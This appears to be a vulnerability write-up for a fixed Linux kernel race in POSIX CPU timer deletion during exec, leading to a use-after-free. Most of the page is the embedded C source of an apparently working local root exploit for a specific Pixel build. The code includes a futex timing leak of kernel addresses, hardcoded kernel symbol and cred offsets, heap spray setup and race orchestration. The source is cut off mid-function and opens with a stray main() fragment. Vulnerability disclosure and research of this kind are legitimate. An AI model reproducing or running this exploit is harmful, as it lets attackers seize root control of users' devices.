Summary
Linux process CPU timers are shared across a thread group. If a non-leader thread calls exec(), it can replace the old group leader while another thread is trying to delete one of those timers.
Before the fix, that race could free an armed struct k_itimer even though its embedded timer node was still linked in the process timerqueue. A later timer operation would then access the freed object.
Why it mattered
The race uses ordinary timer, threading, and execve() system calls available to a local unprivileged process. The attacker controls both sides and can retry it, turning a stale timerqueue node into kernel memory corruption rather than relying on another user’s action.
CyberMeowfia validates the issue as a local privilege escalation on a Pixel 10 Pro running the July 2026 Android 17 build. On that exact target, the published exploit disables SELinux and obtains a root shell; the repository reports a success rate above 50%.
The issue has been fixed. Updated vendor kernels containing the relevant backport are not affected merely because their displayed base kernel version falls within an older branch.
What went wrong
posix_cpu_timer_del() could look up the old thread-group leader just as de_thread() replaced it during a non-leader exec(). When the old leader’s sighand became NULL, the timer deletion path could return without unlinking an armed timer and then free the underlying k_itimer.
The timerqueue still held the freed object’s node. Later expiry, insertion, or deletion work followed that dangling node, producing a use-after-free. A related path affected CPU nanosleep timers allocated on a kernel stack.
Exploit
Because the vulnerability and its fix are public, the selected exploit source is included here for reproducibility. The preview starts at main() and shows exactly 15 lines. Expanding it reveals the complete C file embedded in this page; the build instructions remain in the linked CyberMeowfia directory.
int main(int argc, char **argv) { unsigned char fake_fragment[ORDER1_SIZE] __attribute__((aligned(0x1000))); struct sigaction ignore; char baseline[64]; uint64_t baseline0; uint64_t baseline1; struct watcher_result stage0_result; struct watcher_result marker_result; struct controlled_page page; struct pipe_reclaim_probe pipe_probe; struct stat uhid_stat = {0}; int stage0_pass = 0; int attempt;
if (argc > 1 && !strcmp(argv[1], "--exec-child")) {
#define _GNU_SOURCE
#include <ctype.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/capability.h>
#include <linux/futex.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>
#include <sys/system_properties.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define MM_OBJECT_BYTES 1280UL
#define MM_SLAB_BYTES 0x8000
#define DIRECT_MAP_BEGIN UINT64_C(0xffffff8000000000)
#define DIRECT_MAP_END UINT64_C(0xffffff9000000000)
#define COARSE_BYTES (UINT64_C(1) << 30)
#define FUTEX_MAP_BYTES (UINT64_C(64) << 30)
#define COLLISION_GOAL 8
#define PILE_WAITERS 4096
#define MEASUREMENTS 128
#define LOW_SAMPLES 8
#define THRESHOLD_MULTIPLIER 10
struct hash_key {
uint64_t mm;
uint64_t address;
uint32_t offset;
uint32_t padding;
};
struct kernelsnitch_state {
atomic_int pile_started;
atomic_int found;
atomic_int collisions_ready;
uint64_t mm_address;
uint64_t collision_addresses[COLLISION_GOAL];
uint32_t hash_size;
uint32_t collision_count;
};
struct pile_arg {
struct kernelsnitch_state *shared;
uint32_t *word;
};
struct scan_arg {
struct kernelsnitch_state *shared;
uint64_t begin;
uint64_t end;
int index;
};
static unsigned char *futex_map;
static void die(const char *what);
static inline uint32_t rotate_left32(uint32_t value, unsigned int bits) {
return (value << (bits & 31)) | (value >> ((-bits) & 31));
}
static uint32_t jenkins_hash4(const uint32_t words[4], uint32_t seed) {
uint32_t a = UINT32_C(0xdeadbeef) + 16 + seed;
uint32_t b = a;
uint32_t c = a;
a += words[0];
b += words[1];
c += words[2];
a -= c;
a ^= rotate_left32(c, 4);
c += b;
b -= a;
b ^= rotate_left32(a, 6);
a += c;
c -= b;
c ^= rotate_left32(b, 8);
b += a;
a -= c;
a ^= rotate_left32(c, 16);
c += b;
b -= a;
b ^= rotate_left32(a, 19);
a += c;
c -= b;
c ^= rotate_left32(b, 4);
b += a;
a += words[3];
c ^= b;
c -= rotate_left32(b, 14);
a ^= c;
a -= rotate_left32(c, 11);
b ^= a;
b -= rotate_left32(a, 25);
c ^= b;
c -= rotate_left32(b, 16);
a ^= c;
a -= rotate_left32(c, 4);
b ^= a;
b -= rotate_left32(a, 14);
c ^= b;
c -= rotate_left32(b, 24);
return c;
}
static uint32_t modeled_futex_bucket(uint64_t user_address, uint64_t mm_address,
uint32_t hash_size) {
struct hash_key key = {
.mm = mm_address,
.address = user_address & ~(0x1000 - 1),
.offset = user_address & (0x1000 - 1),
};
uint32_t words[4];
memcpy(words, &key, sizeof(words));
return jenkins_hash4(words, key.offset) & (hash_size - 1);
}
static inline uint64_t virtual_counter(void) {
uint64_t value;
asm volatile("isb\n\tmrs %0, cntvct_el0\n\tisb" : "=r"(value) : : "memory");
return value;
}
static int compare_u64(const void *left, const void *right) {
uint64_t a = *(const uint64_t *)left;
uint64_t b = *(const uint64_t *)right;
return (a > b) - (a < b);
}
static uint64_t measure_empty_wake(uint32_t *word) {
uint64_t samples[MEASUREMENTS];
uint64_t total = 0;
for (int i = 0; i < MEASUREMENTS; i++) {
sched_yield();
uint64_t begin = virtual_counter();
syscall(SYS_futex, word, FUTEX_WAKE_PRIVATE, 0, NULL, NULL, 0);
samples[i] = virtual_counter() - begin;
}
qsort(samples, MEASUREMENTS, sizeof(samples[0]), compare_u64);
for (int i = 0; i < LOW_SAMPLES; i++)
total += samples[i];
return total / LOW_SAMPLES;
}
static void *pile_waiter(void *opaque) {
struct pile_arg *arg = opaque;
struct kernelsnitch_state *shared = arg->shared;
uint32_t *word = arg->word;
free(arg);
atomic_fetch_add_explicit(&shared->pile_started, 1, memory_order_release);
syscall(SYS_futex, word, FUTEX_WAIT_PRIVATE, 0, NULL, NULL, 0);
return NULL;
}
static int build_timing_collisions(struct kernelsnitch_state *shared) {
pthread_attr_t attributes;
uint32_t *pile_word = (uint32_t *)((unsigned char *)shared + 512);
uint32_t found = 1;
int created = 0;
shared->collision_addresses[0] = (uint64_t)(uintptr_t)pile_word;
if (pthread_attr_init(&attributes))
return -1;
pthread_attr_setstacksize(&attributes, 64 * 1024);
for (int i = 0; i < PILE_WAITERS; i++) {
struct pile_arg *arg = calloc(1, sizeof(*arg));
pthread_t thread;
if (!arg)
break;
arg->shared = shared;
arg->word = pile_word;
if (pthread_create(&thread, &attributes, pile_waiter, arg)) {
free(arg);
break;
}
pthread_detach(thread);
created++;
}
pthread_attr_destroy(&attributes);
for (int i = 0; i < 5000; i++) {
if (atomic_load_explicit(&shared->pile_started, memory_order_acquire) == created)
break;
usleep(1000);
}
usleep(100000);
if (created < PILE_WAITERS * 3 / 4) {
printf("KS_PILE_FAIL created=%d started=%d\n", created,
atomic_load_explicit(&shared->pile_started, memory_order_relaxed));
return -1;
}
uint64_t baseline_a = measure_empty_wake((uint32_t *)(futex_map + 0x1000));
uint64_t baseline_b = measure_empty_wake((uint32_t *)(futex_map + 2 * 0x1000 + 8));
uint64_t threshold = (baseline_a < baseline_b ? baseline_a : baseline_b) * THRESHOLD_MULTIPLIER;
uint64_t candidate_count = (uint64_t)shared->hash_size * COLLISION_GOAL * 4;
for (int i = 2; (uint64_t)i < candidate_count && found < COLLISION_GOAL; i++) {
uint64_t index = (uint64_t)i * 0x1000 + ((uint64_t)i * 8 & (0x1000 - 1));
uint32_t *candidate = (uint32_t *)(futex_map + index);
if (measure_empty_wake(candidate) > threshold)
shared->collision_addresses[found++] = (uint64_t)(uintptr_t)candidate;
}
shared->collision_count = found;
atomic_store_explicit(&shared->collisions_ready, 1, memory_order_release);
printf("KS_COLLISIONS pile=%d baseline=%llu/%llu threshold=%llu "
"found=%u/%u\n",
created, (unsigned long long)baseline_a, (unsigned long long)baseline_b,
(unsigned long long)threshold, found, COLLISION_GOAL);
return found == COLLISION_GOAL ? 0 : -1;
}
static void *scan_direct_map(void *opaque) {
struct scan_arg *arg = opaque;
struct kernelsnitch_state *shared = arg->shared;
for (uint64_t slab = arg->begin; slab < arg->end; slab += MM_SLAB_BYTES) {
if (atomic_load_explicit(&shared->found, memory_order_acquire))
break;
for (uint64_t address = slab; address + MM_OBJECT_BYTES <= slab + MM_SLAB_BYTES;
address += MM_OBJECT_BYTES) {
int matches = 1;
uint32_t bucket =
modeled_futex_bucket(shared->collision_addresses[0], address, shared->hash_size);
for (uint32_t i = 1; i < shared->collision_count; i++) {
if (modeled_futex_bucket(shared->collision_addresses[i], address,
shared->hash_size) != bucket) {
matches = 0;
break;
}
}
if (matches) {
if (!atomic_exchange_explicit(&shared->found, 1, memory_order_acq_rel))
shared->mm_address = address;
break;
}
}
}
printf("KS_SCAN_DONE worker=%d found=%d\n", arg->index,
atomic_load_explicit(&shared->found, memory_order_relaxed));
return NULL;
}
static uint64_t recover_mm_address(struct kernelsnitch_state *shared, int workers) {
pthread_t *threads = calloc((size_t)workers, sizeof(*threads));
struct scan_arg *arguments = calloc((size_t)workers, sizeof(*arguments));
uint64_t range = (DIRECT_MAP_END - DIRECT_MAP_BEGIN) / workers;
if (!threads || !arguments)
die("calloc scan workers");
for (int i = 0; i < workers; i++) {
arguments[i].shared = shared;
arguments[i].begin = DIRECT_MAP_BEGIN + range * (uint64_t)i;
arguments[i].end =
i == workers - 1 ? DIRECT_MAP_END : DIRECT_MAP_BEGIN + range * (uint64_t)(i + 1);
arguments[i].begin &= ~(COARSE_BYTES - 1);
arguments[i].end = (arguments[i].end + COARSE_BYTES - 1) & ~(COARSE_BYTES - 1);
arguments[i].index = i;
if (pthread_create(&threads[i], NULL, scan_direct_map, &arguments[i]))
die("pthread_create scan");
}
for (int i = 0; i < workers; i++)
pthread_join(threads[i], NULL);
free(arguments);
free(threads);
return shared->mm_address;
}
#define ARRAY_SIZE(array) (sizeof(array) / sizeof((array)[0]))
#define CPUCLOCK_SCHED 2
#define ORDER1_SIZE 0x2000
#define CC_SKB_SEND_BYTES 32768
#define SPRAY_REPEATS 3
#define SPRAY_MARKER 0x6e
#define NEBUSEC_MAGIC UINT64_C(0x6e6562757365635f)
#define MAX_WORKERS 128
#define MAX_RACE_BATCH 16
#define MAX_EXEC_REPEATS 64
#define MEMBARRIER_CMD_REGISTER_PRIVATE_EXPEDITED (1U << 4)
/* Exact shared Frankel/Blazer 4K image link layout. */
#define LINK_IMAGE_BASE UINT64_C(0xffffffc080000000)
#define LINK_CYCLE_C UINT64_C(0xffffffc08212e958)
#define LINK_CYCLE_D UINT64_C(0xffffffc08212d5d0)
#define FRANKEL_DIRECT_BOOTID_PARENT UINT64_C(0xffffff8002449460)
#define FRANKEL_DIRECT_CYCLE_C UINT64_C(0xffffff800232e958)
#define BLAZER_DIRECT_BOOTID_PARENT UINT64_C(0xffffff8002249460)
#define BLAZER_DIRECT_CYCLE_C UINT64_C(0xffffff800212e958)
#define LINK_MISC_LIST UINT64_C(0xffffffc082249560)
#define LINK_SYSCTL_BOOTID UINT64_C(0xffffffc08238b2d8)
#define LINK_UHID_MISC UINT64_C(0xffffffc082285f40)
#define LINK_UHID_FOPS UINT64_C(0xffffffc0812e8778)
#define LINK_ASHMEM_IOCTL UINT64_C(0xffffffc080c8d908)
#define LINK_ASHMEM_OPEN UINT64_C(0xffffffc080c8e238)
#define LINK_ASHMEM_RELEASE UINT64_C(0xffffffc080c8e2c0)
#define LINK_CONFIGFS_READ_ITER UINT64_C(0xffffffc080491eec)
#define LINK_CONFIGFS_BIN_WRITE_ITER UINT64_C(0xffffffc080492418)
#define LINK_MODULE_DIRECT_BASE UINT64_C(0xffffffc081683908)
#define LINK_MODULE_PLT_BASE UINT64_C(0xffffffc081683910)
#define LINK_MEMSTART_ADDR UINT64_C(0xffffffc081683928)
#define LINK_KIMAGE_VOFFSET UINT64_C(0xffffffc0816839e0)
#define LINK_KMALLOC_CACHES UINT64_C(0xffffffc081683db8)
#define LINK_ANON_PIPE_BUF_OPS UINT64_C(0xffffffc081176748)
#define LINK_INIT_TASK UINT64_C(0xffffffc08212e280)
#define LINK_INIT_CRED UINT64_C(0xffffffc082140748)
#define LINK_SELINUX_BLOB_SIZES UINT64_C(0xffffffc0816849b0)
#define LINK_SELINUX_STATE UINT64_C(0xffffffc08236a2e0)
#define LINK_SDATA UINT64_C(0xffffffc082110000)
#define LINK_END UINT64_C(0xffffffc0823b0000)
#define MODULE_DIRECT_SIZE UINT64_C(0x08000000)
#define MODULE_PLT_SIZE UINT64_C(0x80000000)
#define KASLR_SLIDE_MIN UINT64_C(0x1000000000)
#define KASLR_SLIDE_END UINT64_C(0x3000000000)
#define KASLR_ALIGN UINT64_C(0x200000)
#define UHID_PATH "/dev/uhid"
#define UHID_MINOR 239U
#define ASHMEM_NAME_LEN 256
#define ASHMEM_SET_NAME _IOW(0x77, 1, char[ASHMEM_NAME_LEN])
#define ASHMEM_NAME_PREFIX_LEN 11
#define ASHMEM_PREFIX_COUNT UINT64_C(0x6d6873612f766564)
#define CFG_PAGE_OFF 16
#define CFG_NEEDS_READ_FILL_OFF 80
#define CFG_BIN_BUFFER_OFF 88
#define CFG_BIN_BUFFER_SIZE_OFF 96
#define CFG_CB_MAX_SIZE_OFF 100
#define FAKE_MISC_OFF UINT64_C(0x100)
#define FAKE_MISC_FOPS_OFF UINT64_C(0x10)
#define FAKE_MISC_LIST_OFF UINT64_C(0x18)
#define FAKE_MISC_PARENT_OFF UINT64_C(0x28)
#define FAKE_MISC_RECORD_STRIDE UINT64_C(0x58)
#define FAKE_MISC_CLASSES 11
#define FAKE_MISC_SLOTS 31
#define FAKE_CPU_TIMER_FIRST_OFF 0x78
#define FAKE_CPU_TIMER_STRIDE 0x108
#define FAKE_MISC_RECORDS (FAKE_MISC_CLASSES * FAKE_MISC_SLOTS)
#define FAKE_MISC_LEAF_DELTA UINT64_C(0x30)
#define FAKE_CPU_TIMER_EXPIRES_OFF 0x18
#define FAKE_FOPS_OFF UINT64_C(0x7640)
#define BRIDGE_SCRATCH_OFF UINT64_C(0x7700)
#define FOPS_READ_ITER_OFF 0x20
#define FOPS_WRITE_ITER_OFF 0x28
#define FOPS_UNLOCKED_IOCTL_OFF 0x48
#define FOPS_OPEN_OFF 0x68
#define FOPS_RELEASE_OFF 0x78
#define MISC_LIST_LIMIT 4096
#define MISC_MINOR_MAX UINT32_C(0xfffff)
#define DP_VMEMMAP_START UINT64_C(0xfffffffe00000000)
#define DP_STRUCT_PAGE_SIZE UINT64_C(0x40)
#define DP_PAGE_FLAGS_OFF UINT64_C(0x0)
#define DP_PAGE_COMPOUND_HEAD_OFF UINT64_C(0x8)
#define DP_PAGE_SLAB_CACHE_OFF UINT64_C(0x8)
#define DP_PG_HEAD 6
#define DP_PG_SLAB 11
#define DP_KMALLOC_CG8K_SLOT_OFF UINT64_C(0x148)
#define DP_PIPE_SMALL_BYTES 0x2000
#define DP_PIPE_LARGE_BYTES 0x80000
#define DP_PIPE_OBJECT_BYTES UINT64_C(0x2000)
#define DP_PIPE_DRAIN_COUNT 40
#define DP_PIPE_RECLAIM_MAX 80
#define DP_PIPE_MARKER_BASE 0x100U
#define DP_PIPE_BUF_CAN_MERGE 0x10U
#define DP_PHYS_PROOF_OFF UINT64_C(0x6ffc)
#define DP_TASK_COMM_OFF UINT64_C(0x830)
#define DP_TASK_COMM_LEN 16
#define DP_TASK_TASKS_OFF UINT64_C(0x550)
#define DP_TASK_PID_OFF UINT64_C(0x618)
#define DP_TASK_TGID_OFF UINT64_C(0x61c)
#define DP_TASK_GROUP_LEADER_OFF UINT64_C(0x658)
#define DP_TASK_REAL_CRED_OFF UINT64_C(0x818)
#define DP_TASK_CRED_OFF UINT64_C(0x820)
#define DP_TASK_SCAN_SIZE (DP_TASK_COMM_OFF + DP_TASK_COMM_LEN - DP_TASK_TASKS_OFF)
#define DP_TASK_SCAN_LIMIT 32768
#define DP_TASK_STABLE_READS 3
#define DP_TASK_SCAN_PASSES 3
#define DP_TASK_SCAN_RETRIES 8
#define DP_VISITED_CAP 65536
#define DP_CRED_SIZE 0xb8
#define DP_CRED_SECURITY_OFF 0x80
#define DP_CRED_USAGE_OFF 0x0
#define DP_CRED_IDS_OFF 0x8
#define DP_CRED_SECUREBITS_OFF 0x28
#define DP_CRED_CAP_INHERITABLE_OFF 0x30
#define DP_CRED_CAP_PERMITTED_OFF 0x38
#define DP_CRED_CAP_EFFECTIVE_OFF 0x40
#define DP_CRED_CAP_BSET_OFF 0x48
#define DP_CRED_CAP_AMBIENT_OFF 0x50
#define DP_CRED_USER_OFF 0x88
#define DP_CRED_USER_NS_OFF 0x90
#define DP_CRED_UCOUNTS_OFF 0x98
#define DP_CRED_GROUP_INFO_OFF 0xa0
#define DP_SELINUX_CRED_SIZE 0x18
#define DP_FULL_CAP_MASK ((UINT64_C(1) << 41) - 1)
struct dp_pipe_buffer {
uint64_t page;
uint32_t offset;
uint32_t length;
uint64_t ops;
uint32_t flags;
uint32_t padding;
uint64_t private;
};
_Static_assert(sizeof(struct dp_pipe_buffer) == 0x28, "unexpected pipe_buffer layout");
_Static_assert(ATOMIC_INT_LOCK_FREE == 2,
"cross-process root synchronization requires lock-free atomics");
struct shared_state {
atomic_int victim_ready;
atomic_int victim_cpu;
atomic_int delete_go;
atomic_int deleted;
atomic_int delete_errors;
atomic_int delete_errno;
atomic_int create_errno;
atomic_int exec_after_deleted;
atomic_long exec_delay_ns;
atomic_llong delete_go_ns;
atomic_llong delete_seen_min_ns;
atomic_llong delete_seen_max_ns;
atomic_llong delete_threshold_ns;
atomic_llong victim_threshold_ns;
atomic_llong exec_call_ns;
};
struct victim_arg {
struct shared_state *shared;
int exec_ack_fd;
};
struct exec_ack {
int64_t timestamp_ns;
int32_t generation;
int32_t total;
int32_t caller_pid;
int32_t caller_tid;
int32_t caller_cpu;
int32_t current_pid;
int32_t current_tid;
int32_t current_cpu;
};
struct repeat_exec_arg {
int ack_fd;
int generation;
int total;
};
struct delete_state {
struct shared_state *shared;
int *timer_ids;
int timer_count;
atomic_int worker_serial;
atomic_int ready_workers;
atomic_uint observed_cpu_mask;
atomic_int irq_count;
atomic_int irq_arm_go;
atomic_int irq_armed;
atomic_llong irq_target_ns;
int worker_count;
int *irq_fds;
};
struct prime_state {
struct shared_state *shared;
atomic_int ready;
atomic_int start;
atomic_llong begin_ns;
atomic_llong end_ns;
};
struct rcu_flush_state {
int *timer_ids;
int timer_count;
atomic_int next_timer;
atomic_int errors;
};
struct spray_pair {
int tx;
int rx;
};
struct spray_state {
struct spray_pair *pairs;
const unsigned char *fragment;
atomic_int *next_pair;
atomic_int *errors;
int pair_count;
int cpu;
int phase;
};
struct watcher_result {
uint64_t magic;
uint64_t qword0;
uint64_t qword1;
uint64_t slide;
};
struct victim_reaper {
pid_t victims[MAX_RACE_BATCH];
atomic_int done;
int count;
int cpu;
int reaped;
int wait_errno;
int affinity_errno;
};
enum boot_validation_mode {
BOOT_VALIDATE_KASLR,
BOOT_VALIDATE_MISC_BRIDGE,
};
enum attempt_result {
ATTEMPT_PRESERVE = -1,
ATTEMPT_MISS = 0,
ATTEMPT_HIT = 1,
};
static uint64_t crosscache_page_base;
static enum boot_validation_mode boot_validation = BOOT_VALIDATE_KASLR;
static uint64_t kernel_slide;
static uint64_t module_direct_base;
static uint64_t module_plt_base;
static uint64_t direct_bootid_parent = FRANKEL_DIRECT_BOOTID_PARENT;
static uint64_t direct_cycle_c = FRANKEL_DIRECT_CYCLE_C;
static uint64_t forged_parent = FRANKEL_DIRECT_BOOTID_PARENT;
static uint64_t forged_child = FRANKEL_DIRECT_CYCLE_C;
static unsigned char misc_fragments[FAKE_MISC_CLASSES][ORDER1_SIZE];
static int misc_fragments_ready;
static int online_cpu_count;
static int cpu_count;
static int race_cpu_limit;
static int race_cpu_base;
static int race_exec_repeats;
static int pipe_count;
static int pipe_reclaim_count;
static int timer_goal;
static int worker_goal;
static int race_batch;
static int controlled_race_batch;
static int max_attempts;
static int controlled_max_attempts;
static int irq_batch_fds;
static long irq_batch_period_ns;
static long irq_arm_lead_ns;
static int exec_after_deleted;
static long rcu_wait_us;
static int watcher_timeout_ms;
static int membarrier_registered;
static int prime_start_deleted;
static int rcu_flush_timers;
static int slab_baseline_active;
static int slab_baseline_total;
static int reaper_cpu_generation;
static uint64_t stage0_baseline0;
static uint64_t stage0_baseline1;
static atomic_int kernel_state_dirty;
static pid_t kernel_state_owner;
enum {
RACE_ROLE_PARENT_CPU = 1,
RACE_ROLE_DELETE_FIRST_CPU = 2,
RACE_ROLE_DELETE_CPU_COUNT = 5,
RACE_ROLE_EXEC_CPU = 7,
};
static __attribute__((noreturn)) void hold_corrupted_state(void);
static __attribute__((noreturn, noinline)) void hold_cred_unknown(void);
static int waitpid_exact(pid_t child, int *status);
static int terminate_and_reap(pid_t child, int *status);
static int waitpid_timed(pid_t child, int *status, int timeout_ms);
static int terminate_and_reap_timed(pid_t child, int *status, int timeout_ms);
static void die(const char *what) {
perror(what);
if (getpid() == kernel_state_owner &&
atomic_load_explicit(&kernel_state_dirty, memory_order_acquire)) {
printf("KERNEL_STATE_PRESERVE reason=fatal_call\n");
hold_corrupted_state();
}
exit(1);
}
static void join_or_preserve(pthread_t thread, const char *role) {
int error = pthread_join(thread, NULL);
if (!error)
return;
printf("THREAD_JOIN_NOT_PROVEN role=%s error=%d\n", role, error);
hold_corrupted_state();
}
static int try_pin_cpu(int logical_cpu) {
cpu_set_t set;
if (logical_cpu < 0 || logical_cpu >= CPU_SETSIZE ||
(race_cpu_limit && logical_cpu >= cpu_count) ||
race_cpu_base > CPU_SETSIZE - 1 - logical_cpu) {
errno = ERANGE;
fprintf(stderr, "RACE_CPU_PIN_GATE_FAIL logical=%d base=%d effective=%d\n", logical_cpu,
race_cpu_base, cpu_count);
return -1;
}
int physical_cpu = race_cpu_base + logical_cpu;
CPU_ZERO(&set);
CPU_SET(physical_cpu, &set);
return sched_setaffinity(0, sizeof(set), &set);
}
static void pin_cpu(int cpu) {
if (try_pin_cpu(cpu))
die("sched_setaffinity");
}
static void pin_physical_cpu(int cpu) {
cpu_set_t set;
if (cpu < 0 || cpu >= online_cpu_count || cpu >= CPU_SETSIZE) {
errno = ERANGE;
die("physical CPU range");
}
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) || sched_getcpu() != cpu)
die("physical CPU affinity");
}
static int verify_role_cpus(void) {
cpu_set_t original;
cpu_set_t requested;
int error = 0;
if (sched_getaffinity(0, sizeof(original), &original))
return -1;
for (int cpu = RACE_ROLE_PARENT_CPU; cpu <= RACE_ROLE_EXEC_CPU; cpu++) {
CPU_ZERO(&requested);
CPU_SET(cpu, &requested);
if (sched_setaffinity(0, sizeof(requested), &requested) || sched_getcpu() != cpu) {
error = errno ? errno : EINVAL;
break;
}
}
if (sched_setaffinity(0, sizeof(original), &original) && !error)
error = errno;
if (error) {
errno = error;
return -1;
}
return 0;
}
static inline void cpu_relax(void) {
asm volatile("yield" : : : "memory");
}
static long long monotonic_ns(void) {
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now))
die("clock_gettime");
return (long long)now.tv_sec * 1000000000LL + now.tv_nsec;
}
static void busy_delay(long nanoseconds) {
if (nanoseconds <= 0)
return;
long long begin = monotonic_ns();
while (monotonic_ns() - begin < nanoseconds)
cpu_relax();
}
static void atomic_min_ns(atomic_llong *value, long long candidate) {
long long current = atomic_load_explicit(value, memory_order_relaxed);
while ((!current || candidate < current) &&
!atomic_compare_exchange_weak_explicit(value, ¤t, candidate, memory_order_relaxed,
memory_order_relaxed))
;
}
static void atomic_max_ns(atomic_llong *value, long long candidate) {
long long current = atomic_load_explicit(value, memory_order_relaxed);
while (candidate > current &&
!atomic_compare_exchange_weak_explicit(value, ¤t, candidate, memory_order_relaxed,
memory_order_relaxed))
;
}
static void sleep_until(long long target_ns) {
struct timespec target;
if (target_ns <= monotonic_ns())
return;
target.tv_sec = target_ns / 1000000000LL;
target.tv_nsec = target_ns % 1000000000LL;
while (clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &target, NULL) == EINTR)
;
}
static int timer_create_raw(clockid_t clockid, int *timer_id) {
struct sigevent event;
memset(&event, 0, sizeof(event));
event.sigev_notify = SIGEV_SIGNAL;
event.sigev_signo = SIGUSR1;
return syscall(SYS_timer_create, clockid, &event, timer_id);
}
static int timer_arm_raw(int timer_id) {
struct itimerspec spec;
memset(&spec, 0, sizeof(spec));
spec.it_value.tv_sec = 3600;
return syscall(SYS_timer_settime, timer_id, 0, &spec, NULL);
}
static int parse_exec_meta(const char *text, struct exec_ack *ack) {
int consumed = 0;
memset(ack, 0, sizeof(*ack));
if (sscanf(text, "%d,%d,%d,%d,%d%n", &ack->generation, &ack->total, &ack->caller_pid,
&ack->caller_tid, &ack->caller_cpu, &consumed) != 5 ||
text[consumed] || ack->generation < 1 || ack->generation > ack->total || ack->total < 1 ||
ack->total > MAX_EXEC_REPEATS || ack->caller_pid <= 0 || ack->caller_tid <= 0 ||
ack->caller_tid == ack->caller_pid || ack->caller_cpu != race_cpu_base)
return -1;
ack->current_pid = getpid();
ack->current_tid = (pid_t)syscall(SYS_gettid);
ack->current_cpu = sched_getcpu();
if (ack->current_pid != ack->caller_pid || ack->current_tid != ack->current_pid ||
ack->current_cpu != race_cpu_base)
return -1;
ack->timestamp_ns = monotonic_ns();
return 0;
}
static void *repeat_exec_thread(void *opaque) {
struct repeat_exec_arg *arg = opaque;
char ack_fd_text[16];
char cpu_base_text[16];
char meta_text[96];
char *const argv[] = {(char *)"/proc/self/exe",
(char *)"--exec-child",
ack_fd_text,
cpu_base_text,
meta_text,
NULL};
pin_cpu(0);
pid_t pid = getpid();
pid_t tid = (pid_t)syscall(SYS_gettid);
int cpu = sched_getcpu();
if (tid == pid || cpu != race_cpu_base)
_exit(103);
snprintf(ack_fd_text, sizeof(ack_fd_text), "%d", arg->ack_fd);
snprintf(cpu_base_text, sizeof(cpu_base_text), "%d", race_cpu_base);
snprintf(meta_text, sizeof(meta_text), "%d,%d,%d,%d,%d", arg->generation, arg->total, pid, tid,
cpu);
execv(argv[0], argv);
_exit(101);
}
static int exec_child(const char *ack_fd_text, const char *meta_text) {
static const char gate_pass[] = "EXEC_CPU_GATE_PASS\n";
struct repeat_exec_arg repeat;
struct exec_ack ack;
pthread_t thread;
int ack_fd = atoi(ack_fd_text);
pin_cpu(0);
if (parse_exec_meta(meta_text, &ack) || sched_getcpu() != race_cpu_base ||
write(STDOUT_FILENO, gate_pass, sizeof(gate_pass) - 1) != (ssize_t)sizeof(gate_pass) - 1)
return 102;
if (write(ack_fd, &ack, sizeof(ack)) != (ssize_t)sizeof(ack))
return 100;
if (ack.generation < ack.total) {
repeat.ack_fd = ack_fd;
repeat.generation = ack.generation + 1;
repeat.total = ack.total;
if (pthread_create(&thread, NULL, repeat_exec_thread, &repeat))
return 103;
if (pthread_join(thread, NULL))
return 103;
return 101;
}
close(ack_fd);
for (;;)
pause();
}
static void *victim_exec_thread(void *opaque) {
struct victim_arg *arg = opaque;
char ack_fd_text[16];
char cpu_base_text[16];
char meta_text[96];
char *const argv[] = {(char *)"/proc/self/exe",
(char *)"--exec-child",
ack_fd_text,
cpu_base_text,
meta_text,
NULL};
pin_physical_cpu(RACE_ROLE_EXEC_CPU);
snprintf(ack_fd_text, sizeof(ack_fd_text), "%d", arg->exec_ack_fd);
snprintf(cpu_base_text, sizeof(cpu_base_text), "%d", RACE_ROLE_EXEC_CPU);
pid_t pid = getpid();
pid_t tid = (pid_t)syscall(SYS_gettid);
int cpu = sched_getcpu();
if (tid == pid || cpu != RACE_ROLE_EXEC_CPU)
_exit(102);
snprintf(meta_text, sizeof(meta_text), "1,%d,%d,%d,%d", race_exec_repeats, pid, tid, cpu);
atomic_store_explicit(&arg->shared->victim_cpu, cpu, memory_order_relaxed);
atomic_store_explicit(&arg->shared->victim_ready, 1, memory_order_release);
while (!atomic_load_explicit(&arg->shared->delete_go, memory_order_acquire))
cpu_relax();
int threshold = atomic_load_explicit(&arg->shared->exec_after_deleted, memory_order_relaxed);
while (atomic_load_explicit(&arg->shared->deleted, memory_order_acquire) < threshold)
cpu_relax();
atomic_store_explicit(&arg->shared->victim_threshold_ns, monotonic_ns(), memory_order_release);
busy_delay(atomic_load_explicit(&arg->shared->exec_delay_ns, memory_order_relaxed));
atomic_store_explicit(&arg->shared->exec_call_ns, monotonic_ns(), memory_order_release);
execv(argv[0], argv);
_exit(101);
}
static void victim_process(struct shared_state *shared, int ack_fd, int parent_ack_fd) {
struct victim_arg arg = {
.shared = shared,
.exec_ack_fd = ack_fd,
};
pthread_t thread;
sigset_t waitset;
int null_fd;
pin_physical_cpu(RACE_ROLE_EXEC_CPU);
close(parent_ack_fd);
if (ack_fd > STDERR_FILENO + 1 &&
syscall(SYS_close_range, STDERR_FILENO + 1, (unsigned int)ack_fd - 1, 0))
_exit(102);
null_fd = open("/dev/null", O_RDWR | O_CLOEXEC);
if (null_fd < 0)
_exit(103);
dup2(null_fd, STDIN_FILENO);
dup2(null_fd, STDOUT_FILENO);
dup2(null_fd, STDERR_FILENO);
if (null_fd > STDERR_FILENO)
close(null_fd);
if (pthread_create(&thread, NULL, victim_exec_thread, &arg))
_exit(104);
sigemptyset(&waitset);
sigaddset(&waitset, SIGRTMIN);
for (;;) {
if (sigwaitinfo(&waitset, NULL) < 0 && errno != EINTR)
_exit(105);
}
}
static int poll_exec_ack(int fd, long long deadline_ns) {
struct pollfd poll_fd = {
.fd = fd,
.events = POLLIN | POLLHUP,
};
long long remaining_ns = deadline_ns - monotonic_ns();
if (remaining_ns <= 0)
return -1;
int timeout_ms = (int)((remaining_ns + 999999) / 1000000);
int result;
do {
result = poll(&poll_fd, 1, timeout_ms);
} while (result < 0 && errno == EINTR);
